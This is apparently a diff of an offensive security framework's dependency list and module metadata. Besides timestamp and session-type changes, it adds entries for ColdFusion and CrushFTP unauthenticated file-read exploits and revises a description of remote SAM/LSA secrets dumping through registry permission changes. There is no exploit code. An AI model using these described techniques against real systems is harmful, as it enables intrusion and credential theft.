rex-bin_tools, 0.1.9, "New BSD"
@@ -160,39 +161,39 @@ rspec, 3.13.0, MIT
rspec-core, 3.13.0, MIT
rspec-expectations, 3.13.0, MIT
rspec-mocks, 3.13.0, MIT
rspec-rails, 6.0.3, MIT
rspec-rails, 6.1.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.13.0, MIT
rubocop, 1.56.4, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 4.0.0, MIT
rspec-support, 3.13.1, MIT
rubocop, 1.63.2, MIT
rubocop-ast, 1.31.2, MIT
ruby-macho, 4.0.1, MIT
ruby-mysql, 4.1.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.3.5, "New BSD"
ruby_smb, 3.3.7, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.1.0, MIT
sinatra, 3.2.0, MIT
sqlite3, 1.6.6, "New BSD"
sshkey, 3.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
systemu, 2.6.5, ruby
test-prof, 1.2.3, MIT
test-prof, 1.3.2, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.2.2, MIT
thor, 1.3.1, MIT
tilt, 2.3.0, MIT
timecop, 0.9.8, MIT
timeout, 0.4.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
timeout, 0.4.1, "ruby, Simplified BSD"
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2023.3, MIT
tzinfo-data, 1.2024.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.5.0, MIT
@@ -208,4 +209,4 @@ winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.3, "ruby, Simplified BSD"
yard, 0.9.36, MIT
zeitwerk, 2.6.12, MIT
zeitwerk, 2.6.13, MIT
+544 -100
View File
@@ -771,7 +771,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2023-03-13 10:31:27 +0000",
"mod_time": "2024-04-26 12:33:43 +0000",
"path": "/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/cve_2022_26923_certifried",
@@ -903,7 +903,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2024-03-01 12:00:34 +0000",
"mod_time": "2024-04-16 16:43:30 +0000",
"path": "/modules/auxiliary/admin/dcerpc/samr_computer.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/samr_computer",
@@ -6416,7 +6416,7 @@
],
"targets": null,
"mod_time": "2024-03-07 13:28:22 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb",
"is_install_path": true,
"ref_name": "admin/ldap/ad_cs_cert_template",
@@ -6438,7 +6438,9 @@
"Certipy"
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -6489,7 +6491,7 @@
],
"targets": null,
"mod_time": "2023-02-24 13:50:04 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/admin/ldap/rbcd.rb",
"is_install_path": true,
"ref_name": "admin/ldap/rbcd",
@@ -6507,7 +6509,9 @@
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -6556,7 +6560,7 @@
],
"targets": null,
"mod_time": "2024-04-09 07:53:26 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb",
"is_install_path": true,
"ref_name": "admin/ldap/shadow_credentials",
@@ -6574,7 +6578,9 @@
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -6627,12 +6633,12 @@
],
"targets": null,
"mod_time": "2023-10-12 19:08:51 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb",
"is_install_path": true,
"ref_name": "admin/ldap/vmware_vcenter_vmdir_auth_bypass",
"check": true,
"post_auth": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
@@ -6646,7 +6652,9 @@
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -6903,7 +6911,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-02-19 10:57:53 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_enum.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_enum",
@@ -7104,7 +7112,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-02-19 10:34:16 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_escalate_dbowner",
@@ -7205,7 +7213,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-02-14 15:26:34 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_escalate_execute_as",
@@ -7308,7 +7316,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-03-27 09:54:38 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_exec.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_exec",
@@ -7364,7 +7372,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-02-19 10:57:53 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_findandsampledata",
@@ -7415,7 +7423,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-02-19 10:34:16 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_idf.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_idf",
@@ -7567,7 +7575,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-03-27 09:54:38 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_sql.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_sql",
@@ -7618,7 +7626,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-02-19 10:34:16 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_sql_file.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_sql_file",
@@ -9198,6 +9206,67 @@
]
},
"auxiliary_admin/registry_security_descriptor": {
"name": "Windows Registry Security Descriptor Utility",
"fullname": "auxiliary/admin/registry_security_descriptor",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Christophe De La Fuente"
],
"description": "Read or write a Windows registry security descriptor remotely.\n\n In READ mode, the `FILE` option can be set to specify where the\n security descriptor should be written to.\n\n The following format is used:\n ```\n key: <registry key>\n security_info: <security information>\n sd: <security descriptor as a hex string>\n ```\n\n In WRITE mode, the `FILE` option can be used to specify the information\n needed to write the security descriptor to the remote registry. The file must\n follow the same format as described above.",
"references": [
],
"platform": "",
"arch": "",
"rport": 445,
"autofilter_ports": [
139,
445
],
"autofilter_services": [
"netbios-ssn",
"microsoft-ds"
],
"targets": null,
"mod_time": "2024-05-13 12:01:54 +0000",
"path": "/modules/auxiliary/admin/registry_security_descriptor.rb",
"is_install_path": true,
"ref_name": "admin/registry_security_descriptor",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
"config-changes"
]
},
"session_types": [
"smb"
],
"needs_cleanup": false,
"actions": [
{
"name": "READ",
"description": "Read a Windows registry security descriptor"
},
{
"name": "WRITE",
"description": "Write a Windows registry security descriptor"
}
]
},
"auxiliary_admin/sap/cve_2020_6207_solman_rce": {
"name": "SAP Solution Manager remote unauthorized OS commands execution",
"fullname": "auxiliary/admin/sap/cve_2020_6207_solman_rce",
@@ -19776,7 +19845,7 @@
],
"targets": null,
"mod_time": "2023-12-01 08:03:32 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/gather/asrep.rb",
"is_install_path": true,
"ref_name": "gather/asrep",
@@ -19798,7 +19867,9 @@
"asreproast"
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -20616,6 +20687,70 @@
}
]
},
"auxiliary_gather/coldfusion_pms_servlet_file_read": {
"name": "CVE-2024-20767 - Adobe Coldfusion Arbitrary File Read",
"fullname": "auxiliary/gather/coldfusion_pms_servlet_file_read",
"aliases": [
],
"rank": 300,
"disclosure_date": "2024-03-12",
"type": "auxiliary",
"author": [
"ma4ter",
"yoryio",
"Christiaan Beek",
"jheysel-r7"
],
"description": "This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version\n '2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication\n token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that\n UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.",
"references": [
"CVE-2024-20767",
"URL-https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html",
"URL-https://jeva.cc/2973.html"
],
"platform": "",
"arch": "",
"rport": 8500,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2024-05-02 09:47:22 +0000",
"path": "/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb",
"is_install_path": true,
"ref_name": "gather/coldfusion_pms_servlet_file_read",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false,
"actions": [
]
},
"auxiliary_gather/coldfusion_pwd_props": {
"name": "ColdFusion 'password.properties' Hash Extraction",
"fullname": "auxiliary/gather/coldfusion_pwd_props",
@@ -20770,6 +20905,66 @@
]
},
"auxiliary_gather/crushftp_fileread_cve_2024_4040": {
"name": "CrushFTP Unauthenticated Arbitrary File Read",
"fullname": "auxiliary/gather/crushftp_fileread_cve_2024_4040",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"remmons-r7"
],
"description": "This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and\n < 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without\n authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The\n primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote\n code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).",
"references": [
"CVE-2024-4040",
"URL-https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis"
],
"platform": "",
"arch": "",
"rport": 8080,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2024-05-03 12:01:48 +0000",
"path": "/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.rb",
"is_install_path": true,
"ref_name": "gather/crushftp_fileread_cve_2024_4040",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false,
"actions": [
]
},
"auxiliary_gather/cve_2021_27850_apache_tapestry_hmac_key": {
"name": "Apache Tapestry HMAC secret key leak",
"fullname": "auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key",
@@ -23153,7 +23348,7 @@
],
"targets": null,
"mod_time": "2024-04-19 15:49:36 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
"is_install_path": true,
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
@@ -23175,7 +23370,9 @@
"Certipy"
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
@@ -23208,7 +23405,7 @@
],
"targets": null,
"mod_time": "2024-01-07 15:02:53 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/gather/ldap_hashdump.rb",
"is_install_path": true,
"ref_name": "gather/ldap_hashdump",
@@ -23226,7 +23423,9 @@
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -23261,7 +23460,7 @@
],
"targets": null,
"mod_time": "2024-04-10 22:44:23 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
@@ -23279,7 +23478,9 @@
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -26276,7 +26477,7 @@
],
"targets": null,
"mod_time": "2023-04-12 13:09:34 +0000",
"mod_time": "2024-05-02 13:57:13 +0000",
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
"is_install_path": true,
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
@@ -26294,7 +26495,9 @@
]
},
"session_types": false,
"session_types": [
"ldap"
],
"needs_cleanup": false,
"actions": [
{
@@ -26358,9 +26561,10 @@
"type": "auxiliary",
"author": [
"Alberto Solino",
"Christophe De La Fuente"
"Christophe De La Fuente",
"antuache"
],
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. First, it\n reads as much data as possible from the registry and then save the\n hives locally on the target (%SYSTEMROOT%\\Temp\\random.tmp). Finally, it\n downloads the temporary hive files and reads the rest of the data\n from it. This temporary files are removed when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. This is\n done by remotely updating the registry key security descriptor,\n taking advantage of the WriteDACL privileges held by local\n administrators to set temporary read permissions.\n\n This can be disabled by setting the `INLINE` option to false and the\n module will fallback to the original implementation, which consists\n in saving the registry hives locally on the target\n (%SYSTEMROOT%\\Temp\\<random>.tmp), downloading the temporary hive\n files and reading the data from it. This temporary files are removed\n when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
"references": [
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"
],
@@ -26376,7 +26580,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2024-03-06 14:20:34 +0000",
"mod_time": "2024-04-30 20:52:23 +0000",
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
"is_install_path": true,
"ref_name": "gather/windows_secrets_dump",
@@ -27094,7 +27298,7 @@
],
"targets": null,
"mod_time": "2021-08-31 16:50:37 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/acpp/login.rb",
"is_install_path": true,
"ref_name": "scanner/acpp/login",
@@ -27136,7 +27340,7 @@
],
"targets": null,
"mod_time": "2024-01-07 15:02:53 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/afp/afp_login.rb",
"is_install_path": true,
"ref_name": "scanner/afp/afp_login",
@@ -27499,7 +27703,7 @@
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/db2/db2_auth.rb",
"is_install_path": true,
"ref_name": "scanner/db2/db2_auth",
@@ -28777,7 +28981,7 @@
"ftp"
],
"targets": null,
"mod_time": "2023-04-18 23:44:58 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/ftp/ftp_login.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/ftp_login",
@@ -29288,7 +29492,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/advantech_webaccess_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/advantech_webaccess_login",
@@ -29932,7 +30136,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 15:37:48 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/appletv_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/appletv_login",
@@ -30092,7 +30296,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/axis_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/axis_login",
@@ -30144,7 +30348,7 @@
"https"
],
"targets": null,
"mod_time": "2022-10-05 13:19:36 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/azure_ad_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/azure_ad_login",
@@ -30296,7 +30500,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/bavision_cam_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/bavision_cam_login",
@@ -30604,7 +30808,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/buffalo_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/buffalo_login",
@@ -30708,7 +30912,7 @@
"https"
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/caidao_bruteforce_login",
@@ -30965,7 +31169,7 @@
"https"
],
"targets": null,
"mod_time": "2021-09-02 11:41:27 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/chef_webui_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/chef_webui_login",
@@ -31391,7 +31595,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/cisco_firepower_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/cisco_firepower_login",
@@ -32437,7 +32641,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/directadmin_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/directadmin_login",
@@ -34502,7 +34706,7 @@
"https"
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/gitlab_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/gitlab_login",
@@ -34654,7 +34858,7 @@
"https"
],
"targets": null,
"mod_time": "2021-09-02 11:41:27 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/glassfish_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/glassfish_login",
@@ -35410,7 +35614,7 @@
"https"
],
"targets": null,
"mod_time": "2021-09-02 11:41:27 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/hp_sys_mgmt_login",
@@ -35564,7 +35768,7 @@
"https"
],
"targets": null,
"mod_time": "2024-01-07 15:02:53 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/http_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/http_login",
@@ -36265,7 +36469,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/ipboard_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/ipboard_login",
@@ -36529,7 +36733,7 @@
"https"
],
"targets": null,
"mod_time": "2023-06-12 14:08:03 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/jenkins_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/jenkins_login",
@@ -37005,7 +37209,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 15:37:48 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/jupyter_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/jupyter_login",
@@ -37504,7 +37708,7 @@
"https"
],
"targets": null,
"mod_time": "2022-11-07 12:23:59 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/manageengine_desktop_central_login",
@@ -38029,7 +38233,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 16:50:37 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/mybook_live_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/mybook_live_login",
@@ -38499,7 +38703,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/octopusdeploy_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/octopusdeploy_login",
@@ -39071,7 +39275,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/phpmyadmin_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/phpmyadmin_login",
@@ -40623,7 +40827,7 @@
"https"
],
"targets": null,
"mod_time": "2023-02-28 15:40:03 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/softing_sis_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/softing_sis_login",
@@ -41324,7 +41528,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/symantec_web_gateway_login",
@@ -41374,7 +41578,7 @@
"https"
],
"targets": null,
"mod_time": "2022-09-16 13:34:06 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/syncovery_linux_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/syncovery_linux_login",
@@ -41434,7 +41638,7 @@
"https"
],
"targets": null,
"mod_time": "2022-12-14 08:59:53 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.rb",
"is_install_path": true,
"ref_name": "scanner/http/syncovery_linux_token_cve_2022_36536",
@@ -41787,7 +41991,7 @@
"https"
],
"targets": null,
"mod_time": "2022-11-27 15:35:34 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/tomcat_mgr_login",
@@ -42978,7 +43182,7 @@
"https"
],
"targets": null,
"mod_time": "2024-01-07 15:02:53 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb",
"is_install_path": true,
"ref_name": "scanner/http/wordpress_multicall_creds",
@@ -43137,7 +43341,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/wordpress_xmlrpc_login",
@@ -44796,7 +45000,7 @@
"https"
],
"targets": null,
"mod_time": "2021-09-02 11:41:27 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/http/zabbix_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/zabbix_login",
@@ -45401,7 +45605,7 @@
],
"targets": null,
"mod_time": "2024-04-11 17:56:24 +0000",
"mod_time": "2024-05-13 13:54:14 +0000",
"path": "/modules/auxiliary/scanner/ldap/ldap_login.rb",
"is_install_path": true,
"ref_name": "scanner/ldap/ldap_login",
@@ -46087,7 +46291,7 @@
],
"targets": null,
"mod_time": "2022-07-01 12:22:31 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.rb",
"is_install_path": true,
"ref_name": "scanner/misc/freeswitch_event_socket_login",
@@ -46819,7 +47023,7 @@
],
"targets": null,
"mod_time": "2021-08-31 17:10:07 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
"path": "/modules/auxiliary/scanner/mqtt/connect.rb",
"is_install_path": true,
"ref_name": "scanner/mqtt/connect",
@@ -47158,7 +47362,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-04-04 08:34:51 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/scanner/mssql/mssql_hashdump.rb",
"is_install_path": true,
"ref_name": "scanner/mssql/mssql_hashdump",
@@ -47209,7 +47413,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-04-18 15:15:36 +0000",
"mod_time": "2024-05-13 13:54:14 +0000",
"path": "/modules/auxiliary/scanner/mssql/mssql_login.rb",
"is_install_path": true,
"ref_name": "scanner/mssql/mssql_login",
@@ -47236,7 +47440,7 @@
"author": [
"MC <mc@metasploit.com>"
],
"description": "This module simply queries the MSSQL instance for information.",
"description": "This module simply queries the MSSQL Browser service for server information.",
"references": [
],
@@ -47258,7 +47462,7 @@
"sybase"
],
"targets": null,
"mod_time": "2019-03-05 03:38:51 +0000",
"mod_time": "2024-03-04 11:44:04 +0000",
"path": "/modules/auxiliary/scanner/mssql/mssql_ping.rb",
"is_install_path": true,
"ref_name": "scanner/mssql/mssql_ping",
@@ -47307,7 +47511,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-04-04 08:34:51 +0000",
"mod_time": "2024-03-05 13:27:00 +0000",
"path": "/modules/auxiliary/scanner/mssql/mssql_schemadump.rb",
"is_install_path": true,
"ref_name": "scanner/mssql/mssql_schemadump",
@@ -47324,6 +47528,57 @@
]
},
"auxiliary_scanner/mssql/mssql_version": {
"name": "MSSQL Version Utility",
"fullname": "auxiliary/scanner/mssql/mssql_version",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Zach Goldman"
],
"description": "Executes a TDS7 pre-login request against the MSSQL instance to query for version information.",
"references": [
],
"platform": "",
"arch": "",
"rport": 1433,
"autofilter_ports": [
1433,
1434,
1435,
14330,
2533,
9152,
2638
],
"autofilter_services": [
"ms-sql-s",
"ms-sql2000",
"sybase"
],
"targets": null,
"mod_time": "2024-04-22 14:46:50 +0000",
"path": "/modules/auxiliary/scanner/mssql/mssql_version.rb",
"is_install_path": true,
"ref_name": "scanner/mssql/mssql_version",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"mssql"
],
"needs_cleanup": false,
"actions": [
]
},
"auxiliary_scanner/mysql/mysql_authbypass_hashdump": {
"name": "MySQL Authentication Bypass Password Dump",
"fullname": "auxiliary/scanner/mysql/mysql_authbypass_hashdump",
@@ -47481,7 +47736,7 @@
],
"targets": null,
"mod_time": "2024-04-10 12:24:08 +0000",
"mod_time": "2024-05-13 13:54:14 +0000",
"path": "/modules/auxiliary/scanner/mysql/mysql_login.rb",
"is_install_path": true,
"ref_name": "scanner/mysql/mysql_login",
@@ -47742,7 +47997,7 @@
"https"
],
"targets": null,
"mod_time": "2023-05-11 13:01:46 +0000",
"mod_time": "2024-05-03 10:45:37 +0000",
